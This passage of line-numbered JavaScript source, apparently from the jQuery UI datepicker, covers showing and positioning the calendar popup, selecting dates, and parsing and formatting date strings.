777 * If false returned from beforeShow event handler do not show.
778 * @param input element - the input field attached to the date picker or
779 * event - if triggered by focus
780 */
781 _showDatepicker: function( input ) {
782 input = input.target || input;
783 if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger
784 input = $( "input", input.parentNode )[ 0 ];
785 }
786
787 if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here
788 return;
789 }
790
791 var inst, beforeShow, beforeShowSettings, isFixed,
792 offset, showAnim, duration;
793
794 inst = $.datepicker._getInst( input );
795 if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) {
796 $.datepicker._curInst.dpDiv.stop( true, true );
797 if ( inst && $.datepicker._datepickerShowing ) {
798 $.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] );
799 }
800 }
801
802 beforeShow = $.datepicker._get( inst, "beforeShow" );
803 beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {};
804 if ( beforeShowSettings === false ) {
805 return;
806 }
807 datepicker_extendRemove( inst.settings, beforeShowSettings );
808
809 inst.lastVal = null;
810 $.datepicker._lastInput = input;
811 $.datepicker._setDateFromField( inst );
812
813 if ( $.datepicker._inDialog ) { // hide cursor
814 input.value = "";
815 }
816 if ( !$.datepicker._pos ) { // position below input
817 $.datepicker._pos = $.datepicker._findPos( input );
818 $.datepicker._pos[ 1 ] += input.offsetHeight; // add the height
819 }
820
821 isFixed = false;
822 $( input ).parents().each( function() {
823 isFixed |= $( this ).css( "position" ) === "fixed";
824 return !isFixed;
825 } );
826
827 offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] };
828 $.datepicker._pos = null;
829
830 //to avoid flashes on Firefox
831 inst.dpDiv.empty();
832
833 // determine sizing offscreen
834 inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } );
835 $.datepicker._updateDatepicker( inst );
836
837 // fix width for dynamic number of date pickers
838 // and adjust position before showing
839 offset = $.datepicker._checkOffset( inst, offset, isFixed );
840 inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ?
841 "static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none",
842 left: offset.left + "px", top: offset.top + "px" } );
843
844 if ( !inst.inline ) {
845 showAnim = $.datepicker._get( inst, "showAnim" );
846 duration = $.datepicker._get( inst, "duration" );
847 inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 );
848 $.datepicker._datepickerShowing = true;
849
850 if ( $.effects && $.effects.effect[ showAnim ] ) {
851 inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration );
852 } else {
853 inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null );
854 }
855
856 if ( $.datepicker._shouldFocusInput( inst ) ) {
857 inst.input.trigger( "focus" );
858 }
859
860 $.datepicker._curInst = inst;
861 }
862 },
863
864 /* Generate the date picker content. */
865 _updateDatepicker: function( inst ) {
866 this.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
867 datepicker_instActive = inst; // for delegate hover events
868 inst.dpDiv.empty().append( this._generateHTML( inst ) );
869 this._attachHandlers( inst );
870
871 var origyearshtml,
872 numMonths = this._getNumberOfMonths( inst ),
873 cols = numMonths[ 1 ],
874 width = 17,
875 activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" ),
876 onUpdateDatepicker = $.datepicker._get( inst, "onUpdateDatepicker" );
877
878 if ( activeCell.length > 0 ) {
879 datepicker_handleMouseover.apply( activeCell.get( 0 ) );
880 }
881
882 inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" );
883 if ( cols > 1 ) {
884 inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" );
885 }
886 inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) +
887 "Class" ]( "ui-datepicker-multi" );
888 inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) +
889 "Class" ]( "ui-datepicker-rtl" );
890
891 if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) {
892 inst.input.trigger( "focus" );
893 }
894
895 // Deffered render of the years select (to avoid flashes on Firefox)
896 if ( inst.yearshtml ) {
897 origyearshtml = inst.yearshtml;
898 setTimeout( function() {
899
900 //assure that inst.yearshtml didn't change.
901 if ( origyearshtml === inst.yearshtml && inst.yearshtml ) {
902 inst.dpDiv.find( "select.ui-datepicker-year" ).first().replaceWith( inst.yearshtml );
903 }
904 origyearshtml = inst.yearshtml = null;
905 }, 0 );
906 }
907
908 if ( onUpdateDatepicker ) {
909 onUpdateDatepicker.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst ] );
910 }
911 },
912
913 // #6694 - don't focus the input if it's already focused
914 // this breaks the change event in IE
915 // Support: IE and jQuery <1.9
916 _shouldFocusInput: function( inst ) {
917 return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" );
918 },
919
920 /* Check positioning to remain on screen. */
921 _checkOffset: function( inst, offset, isFixed ) {
922 var dpWidth = inst.dpDiv.outerWidth(),
923 dpHeight = inst.dpDiv.outerHeight(),
924 inputWidth = inst.input ? inst.input.outerWidth() : 0,
925 inputHeight = inst.input ? inst.input.outerHeight() : 0,
926 viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ),
927 viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() );
928
929 offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 );
930 offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0;
931 offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0;
932
933 // Now check if datepicker is showing outside window viewport - move to a better place if so.
934 offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ?
935 Math.abs( offset.left + dpWidth - viewWidth ) : 0 );
936 offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ?
937 Math.abs( dpHeight + inputHeight ) : 0 );
938
939 return offset;
940 },
941
942 /* Find an object's position on the screen. */
943 _findPos: function( obj ) {
944 var position,
945 inst = this._getInst( obj ),
946 isRTL = this._get( inst, "isRTL" );
947
948 while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.pseudos.hidden( obj ) ) ) {
949 obj = obj[ isRTL ? "previousSibling" : "nextSibling" ];
950 }
951
952 position = $( obj ).offset();
953 return [ position.left, position.top ];
954 },
955
956 /* Hide the date picker from view.
957 * @param input element - the input field attached to the date picker
958 */
959 _hideDatepicker: function( input ) {
960 var showAnim, duration, postProcess, onClose,
961 inst = this._curInst;
962
963 if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) {
964 return;
965 }
966
967 if ( this._datepickerShowing ) {
968 showAnim = this._get( inst, "showAnim" );
969 duration = this._get( inst, "duration" );
970 postProcess = function() {
971 $.datepicker._tidyDialog( inst );
972 };
973
974 // DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
975 if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) {
976 inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess );
977 } else {
978 inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" :
979 ( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess );
980 }
981
982 if ( !showAnim ) {
983 postProcess();
984 }
985 this._datepickerShowing = false;
986
987 onClose = this._get( inst, "onClose" );
988 if ( onClose ) {
989 onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] );
990 }
991
992 this._lastInput = null;
993 if ( this._inDialog ) {
994 this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } );
995 if ( $.blockUI ) {
996 $.unblockUI();
997 $( "body" ).append( this.dpDiv );
998 }
999 }
1000 this._inDialog = false;
1001 }
1002 },
1003
1004 /* Tidy up after a dialog display. */
1005 _tidyDialog: function( inst ) {
1006 inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" );
1007 },
1008
1009 /* Close date picker if clicked elsewhere. */
1010 _checkExternalClick: function( event ) {
1011 if ( !$.datepicker._curInst ) {
1012 return;
1013 }
1014
1015 var $target = $( event.target ),
1016 inst = $.datepicker._getInst( $target[ 0 ] );
1017
1018 if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId &&
1019 $target.parents( "#" + $.datepicker._mainDivId ).length === 0 &&
1020 !$target.hasClass( $.datepicker.markerClassName ) &&
1021 !$target.closest( "." + $.datepicker._triggerClass ).length &&
1022 $.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) ||
1023 ( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) {
1024 $.datepicker._hideDatepicker();
1025 }
1026 },
1027
1028 /* Adjust one of the date sub-fields. */
1029 _adjustDate: function( id, offset, period ) {
1030 var target = $( id ),
1031 inst = this._getInst( target[ 0 ] );
1032
1033 if ( this._isDisabledDatepicker( target[ 0 ] ) ) {
1034 return;
1035 }
1036 this._adjustInstDate( inst, offset, period );
1037 this._updateDatepicker( inst );
1038 },
1039
1040 /* Action for current link. */
1041 _gotoToday: function( id ) {
1042 var date,
1043 target = $( id ),
1044 inst = this._getInst( target[ 0 ] );
1045
1046 if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) {
1047 inst.selectedDay = inst.currentDay;
1048 inst.drawMonth = inst.selectedMonth = inst.currentMonth;
1049 inst.drawYear = inst.selectedYear = inst.currentYear;
1050 } else {
1051 date = new Date();
1052 inst.selectedDay = date.getDate();
1053 inst.drawMonth = inst.selectedMonth = date.getMonth();
1054 inst.drawYear = inst.selectedYear = date.getFullYear();
1055 }
1056 this._notifyChange( inst );
1057 this._adjustDate( target );
1058 },
1059
1060 /* Action for selecting a new month/year. */
1061 _selectMonthYear: function( id, select, period ) {
1062 var target = $( id ),
1063 inst = this._getInst( target[ 0 ] );
1064
1065 inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] =
1066 inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] =
1067 parseInt( select.options[ select.selectedIndex ].value, 10 );
1068
1069 this._notifyChange( inst );
1070 this._adjustDate( target );
1071 },
1072
1073 /* Action for selecting a day. */
1074 _selectDay: function( id, month, year, td ) {
1075 var inst,
1076 target = $( id );
1077
1078 if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) {
1079 return;
1080 }
1081
1082 inst = this._getInst( target[ 0 ] );
1083 inst.selectedDay = inst.currentDay = parseInt( $( "a", td ).attr( "data-date" ) );
1084 inst.selectedMonth = inst.currentMonth = month;
1085 inst.selectedYear = inst.currentYear = year;
1086 this._selectDate( id, this._formatDate( inst,
1087 inst.currentDay, inst.currentMonth, inst.currentYear ) );
1088 },
1089
1090 /* Erase the input field and hide the date picker. */
1091 _clearDate: function( id ) {
1092 var target = $( id );
1093 this._selectDate( target, "" );
1094 },
1095
1096 /* Update the input field with the selected date. */
1097 _selectDate: function( id, dateStr ) {
1098 var onSelect,
1099 target = $( id ),
1100 inst = this._getInst( target[ 0 ] );
1101
1102 dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) );
1103 if ( inst.input ) {
1104 inst.input.val( dateStr );
1105 }
1106 this._updateAlternate( inst );
1107
1108 onSelect = this._get( inst, "onSelect" );
1109 if ( onSelect ) {
1110 onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); // trigger custom callback
1111 } else if ( inst.input ) {
1112 inst.input.trigger( "change" ); // fire the change event
1113 }
1114
1115 if ( inst.inline ) {
1116 this._updateDatepicker( inst );
1117 } else {
1118 this._hideDatepicker();
1119 this._lastInput = inst.input[ 0 ];
1120 if ( typeof( inst.input[ 0 ] ) !== "object" ) {
1121 inst.input.trigger( "focus" ); // restore focus
1122 }
1123 this._lastInput = null;
1124 }
1125 },
1126
1127 /* Update any alternate field to synchronise with the main field. */
1128 _updateAlternate: function( inst ) {
1129 var altFormat, date, dateStr,
1130 altField = this._get( inst, "altField" );
1131
1132 if ( altField ) { // update alternate field too
1133 altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" );
1134 date = this._getDate( inst );
1135 dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) );
1136 $( document ).find( altField ).val( dateStr );
1137 }
1138 },
1139
1140 /* Set as beforeShowDay function to prevent selection of weekends.
1141 * @param date Date - the date to customise
1142 * @return [boolean, string] - is this date selectable?, what is its CSS class?
1143 */
1144 noWeekends: function( date ) {
1145 var day = date.getDay();
1146 return [ ( day > 0 && day < 6 ), "" ];
1147 },
1148
1149 /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
1150 * @param date Date - the date to get the week for
1151 * @return number - the number of the week within the year that contains this date
1152 */
1153 iso8601Week: function( date ) {
1154 var time,
1155 checkDate = new Date( date.getTime() );
1156
1157 // Find Thursday of this week starting on Monday
1158 checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) );
1159
1160 time = checkDate.getTime();
1161 checkDate.setMonth( 0 ); // Compare with Jan 1
1162 checkDate.setDate( 1 );
1163 return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1;
1164 },
1165
1166 /* Parse a string value into a date object.
1167 * See formatDate below for the possible formats.
1168 *
1169 * @param format string - the expected format of the date
1170 * @param value string - the date in the above format
1171 * @param settings Object - attributes include:
1172 * shortYearCutoff number - the cutoff year for determining the century (optional)
1173 * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
1174 * dayNames string[7] - names of the days from Sunday (optional)
1175 * monthNamesShort string[12] - abbreviated names of the months (optional)
1176 * monthNames string[12] - names of the months (optional)
1177 * @return Date - the extracted date value or null if value is blank
1178 */
1179 parseDate: function( format, value, settings ) {
1180 if ( format == null || value == null ) {
1181 throw "Invalid arguments";
1182 }
1183
1184 value = ( typeof value === "object" ? value.toString() : value + "" );
1185 if ( value === "" ) {
1186 return null;
1187 }
1188
1189 var iFormat, dim, extra,
1190 iValue = 0,
1191 shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff,
1192 shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp :
1193 new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ),
1194 dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
1195 dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
1196 monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
1197 monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
1198 year = -1,
1199 month = -1,
1200 day = -1,
1201 doy = -1,
1202 literal = false,
1203 date,
1204
1205 // Check whether a format character is doubled
1206 lookAhead = function( match ) {
1207 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1208 if ( matches ) {
1209 iFormat++;
1210 }
1211 return matches;
1212 },
1213
1214 // Extract a number from the string value
1215 getNumber = function( match ) {
1216 var isDoubled = lookAhead( match ),
1217 size = ( match === "@" ? 14 : ( match === "!" ? 20 :
1218 ( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ),
1219 minSize = ( match === "y" ? size : 1 ),
1220 digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ),
1221 num = value.substring( iValue ).match( digits );
1222 if ( !num ) {
1223 throw "Missing number at position " + iValue;
1224 }
1225 iValue += num[ 0 ].length;
1226 return parseInt( num[ 0 ], 10 );
1227 },
1228
1229 // Extract a name from the string value and convert to an index
1230 getName = function( match, shortNames, longNames ) {
1231 var index = -1,
1232 names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) {
1233 return [ [ k, v ] ];
1234 } ).sort( function( a, b ) {
1235 return -( a[ 1 ].length - b[ 1 ].length );
1236 } );
1237
1238 $.each( names, function( i, pair ) {
1239 var name = pair[ 1 ];
1240 if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) {
1241 index = pair[ 0 ];
1242 iValue += name.length;
1243 return false;
1244 }
1245 } );
1246 if ( index !== -1 ) {
1247 return index + 1;
1248 } else {
1249 throw "Unknown name at position " + iValue;
1250 }
1251 },
1252
1253 // Confirm that a literal character matches the string value
1254 checkLiteral = function() {
1255 if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) {
1256 throw "Unexpected literal at position " + iValue;
1257 }
1258 iValue++;
1259 };
1260
1261 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1262 if ( literal ) {
1263 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1264 literal = false;
1265 } else {
1266 checkLiteral();
1267 }
1268 } else {
1269 switch ( format.charAt( iFormat ) ) {
1270 case "d":
1271 day = getNumber( "d" );
1272 break;
1273 case "D":
1274 getName( "D", dayNamesShort, dayNames );
1275 break;
1276 case "o":
1277 doy = getNumber( "o" );
1278 break;
1279 case "m":
1280 month = getNumber( "m" );
1281 break;
1282 case "M":
1283 month = getName( "M", monthNamesShort, monthNames );
1284 break;
1285 case "y":
1286 year = getNumber( "y" );
1287 break;
1288 case "@":
1289 date = new Date( getNumber( "@" ) );
1290 year = date.getFullYear();
1291 month = date.getMonth() + 1;
1292 day = date.getDate();
1293 break;
1294 case "!":
1295 date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 );
1296 year = date.getFullYear();
1297 month = date.getMonth() + 1;
1298 day = date.getDate();
1299 break;
1300 case "'":
1301 if ( lookAhead( "'" ) ) {
1302 checkLiteral();
1303 } else {
1304 literal = true;
1305 }
1306 break;
1307 default:
1308 checkLiteral();
1309 }
1310 }
1311 }
1312
1313 if ( iValue < value.length ) {
1314 extra = value.substr( iValue );
1315 if ( !/^\s+/.test( extra ) ) {
1316 throw "Extra/unparsed characters found in date: " + extra;
1317 }
1318 }
1319
1320 if ( year === -1 ) {
1321 year = new Date().getFullYear();
1322 } else if ( year < 100 ) {
1323 year += new Date().getFullYear() - new Date().getFullYear() % 100 +
1324 ( year <= shortYearCutoff ? 0 : -100 );
1325 }
1326
1327 if ( doy > -1 ) {
1328 month = 1;
1329 day = doy;
1330 do {
1331 dim = this._getDaysInMonth( year, month - 1 );
1332 if ( day <= dim ) {
1333 break;
1334 }
1335 month++;
1336 day -= dim;
1337 } while ( true );
1338 }
1339
1340 date = this._daylightSavingAdjust( new Date( year, month - 1, day ) );
1341 if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) {
1342 throw "Invalid date"; // E.g. 31/02/00
1343 }
1344 return date;
1345 },
1346
1347 /* Standard date formats. */
1348 ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601)
1349 COOKIE: "D, dd M yy",
1350 ISO_8601: "yy-mm-dd",
1351 RFC_822: "D, d M y",
1352 RFC_850: "DD, dd-M-y",
1353 RFC_1036: "D, d M y",
1354 RFC_1123: "D, d M yy",
1355 RFC_2822: "D, d M yy",
1356 RSS: "D, d M y", // RFC 822
1357 TICKS: "!",
1358 TIMESTAMP: "@",
1359 W3C: "yy-mm-dd", // ISO 8601
1360
1361 _ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) +
1362 Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ),
1363
1364 /* Format a date object into a string value.
1365 * The format can be combinations of the following:
1366 * d - day of month (no leading zero)
1367 * dd - day of month (two digit)
1368 * o - day of year (no leading zeros)
1369 * oo - day of year (three digit)
1370 * D - day name short
1371 * DD - day name long
1372 * m - month of year (no leading zero)
1373 * mm - month of year (two digit)
1374 * M - month name short
1375 * MM - month name long
1376 * y - year (two digit)
1377 * yy - year (four digit)
1378 * @ - Unix timestamp (ms since 01/01/1970)
1379 * ! - Windows ticks (100ns since 01/01/0001)
1380 * "..." - literal text
1381 * '' - single quote
1382 *
1383 * @param format string - the desired format of the date
1384 * @param date Date - the date value to format
1385 * @param settings Object - attributes include:
1386 * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
1387 * dayNames string[7] - names of the days from Sunday (optional)
1388 * monthNamesShort string[12] - abbreviated names of the months (optional)
1389 * monthNames string[12] - names of the months (optional)
1390 * @return string - the date in the above format
1391 */
1392 formatDate: function( format, date, settings ) {
1393 if ( !date ) {
1394 return "";
1395 }
1396
1397 var iFormat,
1398 dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
1399 dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
1400 monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
1401 monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
1402
1403 // Check whether a format character is doubled
1404 lookAhead = function( match ) {
1405 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1406 if ( matches ) {
1407 iFormat++;
1408 }
1409 return matches;
1410 },
1411
1412 // Format a number, with leading zero if necessary
1413 formatNumber = function( match, value, len ) {
1414 var num = "" + value;
1415 if ( lookAhead( match ) ) {
1416 while ( num.length < len ) {
1417 num = "0" + num;
1418 }
1419 }
1420 return num;
1421 },
1422
1423 // Format a name, short or long as requested
1424 formatName = function( match, value, shortNames, longNames ) {
1425 return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] );
1426 },
1427 output = "",
1428 literal = false;
1429
1430 if ( date ) {
1431 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1432 if ( literal ) {
1433 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1434 literal = false;
1435 } else {
1436 output += format.charAt( iFormat );
1437 }
1438 } else {
1439 switch ( format.charAt( iFormat ) ) {
1440 case "d":
1441 output += formatNumber( "d", date.getDate(), 2 );
1442 break;
1443 case "D":
1444 output += formatName( "D", date.getDay(), dayNamesShort, dayNames );
1445 break;
1446 case "o":
1447 output += formatNumber( "o",
1448 Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 );
1449 break;
1450 case "m":
1451 output += formatNumber( "m", date.getMonth() + 1, 2 );
1452 break;
1453 case "M":
1454 output += formatName( "M", date.getMonth(), monthNamesShort, monthNames );
1455 break;
1456 case "y":
1457 output += ( lookAhead( "y" ) ? date.getFullYear() :
1458 ( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 );
1459 break;
1460 case "@":
1461 output += date.getTime();
1462 break;
1463 case "!":
1464 output += date.getTime() * 10000 + this._ticksTo1970;
1465 break;
1466 case "'":
1467 if ( lookAhead( "'" ) ) {
1468 output += "'";
1469 } else {
1470 literal = true;
1471 }
1472 break;
1473 default:
1474 output += format.charAt( iFormat );
1475 }
1476 }
1477 }
1478 }
1479 return output;
1480 },
1481
1482 /* Extract all possible characters from the date format. */
1483 _possibleChars: function( format ) {
1484 var iFormat,
1485 chars = "",
1486 literal = false,
1487
1488 // Check whether a format character is doubled
1489 lookAhead = function( match ) {
1490 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1491 if ( matches ) {
1492 iFormat++;
1493 }
1494 return matches;
1495 };
1496
1497 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1498 if ( literal ) {
1499 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1500 literal = false;
1501 } else {
1502 chars += format.charAt( iFormat );
1503 }
1504 } else {
1505 switch ( format.charAt( iFormat ) ) {
1506 case "d": case "m": case "y": case "@":
1507 chars += "0123456789";
1508 break;
1509 case "D": case "M":
1510 return null; // Accept anything
1511 case "'":
1512 if ( lookAhead( "'" ) ) {
1513 chars += "'";
1514 } else {
1515 literal = true;
1516 }
1517 break;
1518 default:
1519 chars += format.charAt( iFormat );
1520 }
1521 }
1522 }
1523 return chars;
1524 },
1525
1526 /* Get a setting value, defaulting if necessary. */
1527 _get: function( inst, name ) {
1528 return inst.settings[ name ] !== undefined ?
1529 inst.settings[ name ] : this._defaults[ name ];
1530 },
1531
1532 /* Parse existing date and initialise date picker. */
1533 _setDateFromField: function( inst, noDefault ) {
1534 if ( inst.input.val() === inst.lastVal ) {
1535 return;
1536 }
1537
1538 var dateFormat = this._get( inst, "dateFormat" ),
1539 dates = inst.lastVal = inst.input ? inst.input.val() : null,
1540 defaultDate = this._getDefaultDate( inst ),
1541 date = defaultDate,
1542 settings = this._getFormatConfig( inst );
1543
1544 try {
1545 date = this.parseDate( dateFormat, dates, settings ) || defaultDate;
1546 } catch ( event ) {
1547 dates = ( noDefault ? "" : dates );
1548 }
1549 inst.selectedDay = date.getDate();
1550 inst.drawMonth = inst.selectedMonth = date.getMonth();
1551 inst.drawYear = inst.selectedYear = date.getFullYear();
1552 inst.currentDay = ( dates ? date.getDate() : 0 );
1553 inst.currentMonth = ( dates ? date.getMonth() : 0 );
1554 inst.currentYear = ( dates ? date.getFullYear() : 0 );
1555 this._adjustInstDate( inst );
1556 },
1557
1558 /* Retrieve the default date shown on opening. */
1559 _getDefaultDate: function( inst ) {
1560 return this._restrictMinMax( inst,
1561 this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) );
1562 },
1563
1564 /* A date may be specified as an exact value or a relative one. */
1565 _determineDate: function( inst, date, defaultDate ) {
1566 var offsetNumeric = function( offset ) {
1567 var date = new Date();
1568 date.setDate( date.getDate() + offset );
1569 return date;
1570 },
1571 offsetString = function( offset ) {
1572 try {
1573 return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
1574 offset, $.datepicker._getFormatConfig( inst ) );
1575 } catch ( e ) {
1576
1577 // Ignore
1578 }
1579
1580 var date = ( offset.toLowerCase().match( /^c/ ) ?
1581 $.datepicker._getDate( inst ) : null ) || new Date(),
1582 year = date.getFullYear(),
1583 month = date.getMonth(),
1584 day = date.getDate(),
1585 pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,
1586 matches = pattern.exec( offset );
1587
1588 while ( matches ) {
1589 switch ( matches[ 2 ] || "d" ) {
1590 case "d" : case "D" :
1591 day += parseInt( matches[ 1 ], 10 ); break;
1592 case "w" : case "W" :
1593 day += parseInt( matches[ 1 ], 10 ) * 7; break;
1594 case "m" : case "M" :
1595 month += parseInt( matches[ 1 ], 10 );
1596 day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
1597 break;
1598 case "y": case "Y" :
1599 year += parseInt( matches[ 1 ], 10 );
1600 day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
1601 break;
1602 }
1603 matches = pattern.exec( offset );
1604 }
1605 return new Date( year, month, day );
1606 },
1607 newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) :
1608 ( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) );
1609
1610 newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate );
1611 if ( newDate ) {
1612 newDate.setHours( 0 );
1613 newDate.setMinutes( 0 );
1614 newDate.setSeconds( 0 );
1615 newDate.setMilliseconds( 0 );
1616 }
1617 return this._daylightSavingAdjust( newDate );
1618 },
1619
1620 /* Handle switch to/from daylight saving.
1621 * Hours may be non-zero on daylight saving cut-over:
1622 * > 12 when midnight changeover, but then cannot generate
1623 * midnight datetime, so jump to 1AM, otherwise reset.
1624 * @param date (Date) the date to check
1625 * @return (Date) the corrected date
1626 */
1627 _daylightSavingAdjust: function( date ) {
1628 if ( !date ) {
1629 return null;
1630 }
1631 date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 );
1632 return date;
1633 },
1634
1635 /* Set the date(s) directly. */
1636 _setDate: function( inst, date, noChange ) {
1637 var clear = !date,
1638 origMonth = inst.selectedMonth,
1639 origYear = inst.selectedYear,
1640 newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) );
1641
1642 inst.selectedDay = inst.currentDay = newDate.getDate();
1643 inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
1644 inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
1645 if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) {
1646 this._notifyChange( inst );
1647 }
1648 this._adjustInstDate( inst );
1649 if ( inst.input ) {
1650 inst.input.val( clear ? "" : this._formatDate( inst ) );
1651 }
1652 },
1653
1654 /* Retrieve the date(s) directly. */
1655 _getDate: function( inst ) {
1656 var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null :
1657 this._daylightSavingAdjust( new Date(
1658 inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
1659 return startDate;
1660 },
1661
1662 /* Attach the onxxx handlers. These are declared statically so
1663 * they work with static code transformers like Caja.
1664 */
1665 _attachHandlers: function( inst ) {
1666 var stepMonths = this._get( inst, "stepMonths" ),
1667 id = "#" + inst.id.replace( /\\\\/g, "\\" );
1668 inst.dpDiv.find( "[data-handler]" ).map( function() {
1669 var handler = {
1670 prev: function() {
1671 $.datepicker._adjustDate( id, -stepMonths, "M" );
1672 },
1673 next: function() {
1674 $.datepicker._adjustDate( id, +stepMonths, "M" );
1675 },
1676 hide: function() {
1677 $.datepicker._hideDatepicker();
1678 },
